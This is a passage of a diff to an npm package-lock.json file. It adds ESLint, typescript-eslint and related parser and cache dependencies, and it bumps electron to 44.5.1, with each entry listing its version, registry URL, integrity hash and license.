"sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, "node_modules/@isaacs/fs-minipass": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", @@ -1179,6 +1416,13 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@keyv/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==", + "dev": true, + "license": "MIT" + }, "node_modules/@malept/cross-spawn-promise": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/@malept/cross-spawn-promise/-/cross-spawn-promise-2.0.0.tgz", @@ -1836,6 +2080,13 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/esrecurse": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@types/esrecurse/-/esrecurse-4.3.1.tgz", + "integrity": "sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==", + "dev": true, + "license": "MIT" + }, "node_modules/@types/estree": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", @@ -1860,6 +2111,13 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, "node_modules/@types/keyv": { "version": "3.1.4", "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", @@ -1917,6 +2175,161 @@ "@types/node": "*" } }, + "node_modules/@typescript-eslint/parser": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz", + "integrity": "sha512-CG4nPk1f2zc8yw4pALqHsFYH2hdo+h1T9daSp21+Hnxi9LOE3GT9hAfTKJCBXVNM2GmYs1eMEP615wPoeOgk3A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.71.0", + "@typescript-eslint/types": "8.71.0", + "@typescript-eslint/typescript-estree": "8.71.0", + "@typescript-eslint/visitor-keys": "8.71.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz", + "integrity": "sha512-aABjw5rjBacYONVPaPiWOCjJu0vEF4a25iQuodlmQYL1trtLZ0X/y+2Vzl3BKI1odM4LnwLE1oUDXYp1wzx1TQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.71.0", + "@typescript-eslint/types": "^8.71.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz", + "integrity": "sha512-gWF0BhUcnjZxSpLE8ngS/59n2SB0J3YqRxvX1+2aoRJk9hNtHSLOV+TcarFiOr5ipXm3yc1QrI4c9YZc8zyCxw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.71.0", + "@typescript-eslint/visitor-keys": "8.71.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz", + "integrity": "sha512-Z1UlWHADEK2Mlb9NpWfDeSjqoZ5EyrOv4R3eQpbkzqn/EwaIdOpXXupEA1+0ZIOSJSZZDBHG0BrQyN8zUG6Pwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz", + "integrity": "sha512-cJ4OoxPGWvFnBTnSZyaU+qJzGTqPTGJY+gDchj6cRyLRdmIdt4rcsE4twj+zPfrNiWuVi38wijHzShL++Z9atQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz", + "integrity": "sha512-PEEF4G5sLLWAS5BpPrUvms4ySZkiBQQZM4z+3ReI46axK5Vqr/vXBQatJQIZZOYdGyPUAKTtsrWzpqKuU+3DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.71.0", + "@typescript-eslint/tsconfig-utils": "8.71.0", + "@typescript-eslint/types": "8.71.0", + "@typescript-eslint/visitor-keys": "8.71.0", + "debug": "^4.4.3", + "minimatch": "^10.2.2", + "semver": "^7.7.3", + "tinyglobby": "^0.2.15", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz", + "integrity": "sha512-8eQ9R218XORK+KLosnf4bu/QsUXvUyVwTbArg7/0NMB1Pu87OJKvj4nhFblkYE8gQV73mW1dx1ptlPCkwRGa7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.71.0", + "eslint-visitor-keys": "^5.0.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, "node_modules/@vitejs/plugin-react": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.2.0.tgz", @@ -2006,6 +2419,29 @@ "node": "^20.17.0 || >=22.9.0" } }, + "node_modules/acorn": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz", + "integrity": "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, "node_modules/agent-base": { "version": "7.1.4", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", @@ -2467,6 +2903,20 @@ "node": ">=8" } }, + "node_modules/cacheable": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/cacheable/-/cacheable-2.5.0.tgz", + "integrity": "sha512-60cyAOytib/OzBw1JNSoSV/boK1AtHryDIjvVBk7XbN4ugfkM3+Sry7fEjNgPMGgOjuaZPAp8ruZ0Cxafwyq9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/memory": "^2.2.0", + "@cacheable/utils": "^2.5.0", + "hookified": "^1.15.0", + "keyv": "^5.6.0", + "qified": "^0.10.1" + } + }, "node_modules/cacheable-lookup": { "version": "5.0.4", "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", @@ -2496,6 +2946,16 @@ "node": ">=8" } }, + "node_modules/cacheable/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, "node_modules/call-bind-apply-helpers": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", @@ -2793,6 +3253,13 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, "node_modules/defer-to-connect": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", @@ -2985,9 +3452,9 @@ } }, "node_modules/electron": { - "version": "44.4.1", - "resolved": "https://registry.npmjs.org/electron/-/electron-44.4.1.tgz", - "integrity": "sha512-gXJarQ2Utfn8G6bp/IqLXvckOSCtrxPWjFqQaqm02Gf4zYn1aP+RN9PKimoLH/DMqjKLfBrNC4C4CviPv0cXnQ==", + "version": "44.5.1", + "resolved": "https://registry.npmjs.org/electron/-/electron-44.5.1.tgz", + "integrity": "sha512-lx7AYoFIiyvEvgvpyWO9kOC60xtNPpiPZAth6Fmg9NutzpCAMLwpUlaBY2EXfZyIgUdzEmLMj9KvK0Vrokl1yQ==", "dev": true, "license": "MIT", "dependencies": { @@ -3328,28 +3795,216 @@ "@esbuild/win32-x64": "0.25.12" } }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "10.11.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.11.0.tgz", + "integrity": "sha512-P7a6UEEqb9G95MYAtqkmsTbVXIYyzIfl6NGOIJk162PaahFxFyeGcrlXYFSiagECg4sEm8IseJdZBKR3rx6MsQ==", + "dev": true, + "license": "MIT", + "workspaces": [ + "packages/*" + ], + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.2", + "@eslint/config-array": "^0.23.5", + "@eslint/config-helpers": "^0.7.0", + "@eslint/core": "^1.2.1", + "@eslint/plugin-kit": "^0.7.3", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^9.1.2", + "eslint-visitor-keys": "^5.0.1", + "espree": "^11.2.0", + "esquery": "^1.7.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "11.1.5 || >11.1.6 <12", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "minimatch": "^10.2.5", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.1.1.tgz", + "integrity": "sha512-f2I7Gw6JbvCexzIInuSbZpfdQ44D7iqdWX01FKLvrPgqxoE7oMj8clOfto8U6vYiz4yd5oKu39rRSVOe1zRu0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.24.4", + "@babel/parser": "^7.24.4", + "hermes-parser": "^0.25.1", + "zod": "^3.25.0 || ^4.0.0", + "zod-validation-error": "^3.5.0 || ^4.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 || ^10.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-9.1.2.tgz", + "integrity": "sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@types/esrecurse": "^4.3.1", + "@types/estree": "^1.0.8", + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/ajv": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", + "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/eslint/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", "dev": true, - "license": "MIT", + "license": "MIT" + }, + "node_modules/espree": { + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-11.2.0.tgz", + "integrity": "sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.16.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^5.0.1" + }, "engines": { - "node": ">=6" + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" } }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", "dev": true, - "license": "MIT", - "optional": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, "engines": { - "node": ">=10" + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" } }, "node_modules/estree-walker": { @@ -3362,6 +4017,16 @@ "@types/estree": "^1.0.0" } }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/expect-type": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", @@ -3386,6 +4051,20 @@ "dev": true, "license": "MIT" }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, "node_modules/fast-sha256": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", @@ -3427,6 +4106,16 @@ } } }, + "node_modules/file-entry-cache": { + "version": "11.1.5", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-11.1.5.tgz", + "integrity": "sha512-+PFTHITI08JIGhnNpGNI8T8inUpgZfk3GNEqfT9R2zZV2iFXg3CvqzSl/uEhs7TSGujYRELEANyDvS8Fj7+S7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^6.1.23" + } + }, "node_modules/filelist": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz", @@ -3467,6 +4156,42 @@ "node": ">=10" } }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "6.1.23", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.23.tgz", + "integrity": "sha512-f++BY9pTk+983xK1FLzlLpmM0i0z+jHmx3QESGkURMXujQZz1k5wzwX6hjnQ8goaD0B+sYnDK1yZ6MTyZfUaqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cacheable": "^2.5.0", + "flatted": "^3.4.2", + "hookified": "^1.15.0" + } + }, + "node_modules/flatted": { + "version": "3.4.4", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.4.tgz", + "integrity": "sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==", + "dev": true, + "license": "ISC" + }, "node_modules/form-data": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", @@ -3627,6 +4352,19 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, "node_modules/glob/node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", @@ -3807,6 +4545,19 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/hashery": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/hashery/-/hashery-1.5.1.tgz", + "integrity": "sha512-iZyKG96/JwPz1N55vj2Ie2vXbhu440zfUfJvSwEqEbeLluk7NnapfGqa7LH0mOsnDxTF85Mx8/dyR6HfqcbmbQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^1.15.0" + }, + "engines": { + "node": ">=20" + } + }, "node_modules/hasown": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", @@ -3820,6 +4571,23 @@ "node": ">= 0.4" } }, + "node_modules/hermes-estree": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", + "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", + "dev": true, + "license": "MIT" + }, + "node_modules/hermes-parser": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", + "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hermes-estree": "0.25.1" + } + }, "node_modules/highlight.js": { "version": "11.12.0", "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.12.0.tgz", @@ -3829,6 +4597,13 @@ "node": ">=12.0.0" } }, + "node_modules/hookified": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-1.15.1.tgz", + "integrity": "sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==", + "dev": true, + "license": "MIT" + }, "node_modules/hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", @@ -3911,6 +4686,26 @@ "node": ">= 14" } }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, "node_modules/inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", @@ -3930,6 +4725,16 @@ "dev": true, "license": "ISC" }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", @@ -3940,6 +4745,19 @@ "node": ">=8" } }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", @@ -4067,6 +4885,13 @@ "dev": true, "license": "MIT" }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, "node_modules/json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", @@ -4116,6 +4941,36 @@ "integrity": 